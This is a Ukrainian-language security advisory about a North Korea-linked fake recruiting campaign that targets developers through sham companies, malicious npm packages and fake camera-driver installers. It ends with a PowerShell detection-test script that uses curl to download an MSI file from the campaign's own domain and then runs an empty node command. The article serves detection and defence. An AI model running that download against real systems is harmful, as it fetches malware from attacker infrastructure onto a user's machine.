Фейкова рекрутингова кампанія використовує пакети npm для націлювання на розробників

Резюме

Витончений зловмисник, пов’язаний з Північною Кореєю, використовує підроблені процеси найму для компрометації розробників. Кампанія йде за багатоступінчастим ланцюгом інфекції, що включає фіктивні компанії, заражені npm пакети та шкідливі інсталятори “драйверів камери”. Зловживаючи довіреними професійними платформами, такими як LinkedIn та GitHub, зловмисники підвищують довіру та зменшують підозри під час початкового контакту.

Розслідування

Дослідники безпеки JFrog простежили кампанію від одного злоякісного npm пакету до повністю розробленої фіктивної компанії під назвою AccuraSoftHire. Розслідувачі виявили скоординовану інфраструктуру, що включає підроблені профілі LinkedIn, переконливий сайт кар’єри та декілька тимчасових npm акаунтів. Технічний аналіз пов’язав персон рекрутерів, авторів проектів на GitHub та видавців npm пакетів через спільні електронні адреси та повторювані маркери коду.

Запобігання

Розробникам слід розглядати домашні завдання з кодування як ненадійний код та запускати їх лише у ізольованих, одноразових віртуальних машинах або контейнерах. Уникайте виконання команд установки, наданих через браузери, особливо тих, що використовують curl або PowerShell. Організаціям слід зміцнити безпеку ланцюгу поставок програмного забезпечення шляхом аудиту lockfiles залежностей та моніторингу несподіваних або несанкціонованих оновлень пакетів.

Відповідь

Коли будуть виявлені підозрілі npm пакети або несанкціоновані зміни завдань VS Code, негайно ізолюйте уражену робочу станцію. Проведіть судово-медичний аналіз нещодавно завантажених даних, активності браузера та виконаних команд. Перевірте наявність несанкціонованих запланованих завдань або нових записів в реєстрі, пов’язаних з хостами MSI для Chrome. Перегляньте облікові дані розробників та активні сесії для зменшення ризику викрадення сесії.

Виконання симуляції

Необхідна умова: перевірка телеметрії та базового стану повинна пройти.

Обґрунтування: цей розділ детально описує точне виконання техніки противника (TTP), призначеної для сполучення з правилом виявлення. Команди та розповідь МАЮТЬ безпосередньо відображати ідентифіковані TTP і прагнуть створити саме ту телеметрію, яку очікує логіка виявлення. Абстрактні або нерелевантні приклади призведуть до помилкового діагнозу.

• Опис атаки та команди: Нападник прагне встановити стійкість, маскуючись під оновлення системи. Після успішної атаки соціальної інженерії нападник виконує curl команду для завантаження зловмисного MSI файлу, називаючи його CameraDriverUpdate.msi щоб злитися з шумом системи. Відразу після цього нападник виконує node -e ""— техніка, що використовується для тестування середовища або підготовки до більш складних, заплутаних JavaScript-навантажень, які уникають простого виявлення. Поєднання специфічного завантаження драйвера та порожнього виконання node є основним тригером для правила виявлення.

• Сценарій тестування регресії:

  # Сценарій моделювання для ініціювання правила виявлення.
  # Цей сценарій імітує специфічні рядки, ідентифіковані в правилі Sigma.
  
  $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win"
  $FileName = "CameraDriverUpdate.msi"
  $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`""
  
  Write-Host "[+] Виконання зловмисної команди curl..." -ForegroundColor Yellow
  Invoke-Expression $FullCurlCmd
  
  Write-Host "[+] Виконання порожньої команди node..." -ForegroundColor Yellow
  node -e ""
  
  Write-Host "[+] Симуляція завершена. Перевірте SIEM на наявність тривоги." -ForegroundColor Green

• Команди очищення:

  # Сценарій очищення для видалення артефактів, створених під час моделювання.
  if (Test-Path "CameraDriverUpdate.msi") {
      Remove-Item "CameraDriverUpdate.msi" -Force
      Write-Host "[+] Видалено зловмисний артефакт MSI." -ForegroundColor Cyan
  }